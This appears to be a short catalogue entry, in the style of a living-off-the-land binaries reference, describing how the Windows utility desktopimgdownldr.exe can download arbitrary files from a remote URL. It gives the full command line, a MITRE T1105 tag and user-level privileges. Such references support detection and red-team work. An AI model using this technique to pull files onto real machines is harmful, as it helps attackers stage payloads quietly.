Desktopimgdownldr.exe

Windows binary used to configure lockscreen/desktop image

Download

Download arbitrary files from a web server

set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:{REMOTEURL} /eventName:desktopimgdownldr

Downloads the file and sets it as the computer's lockscreen — MITRE: T1105 — Privileges: User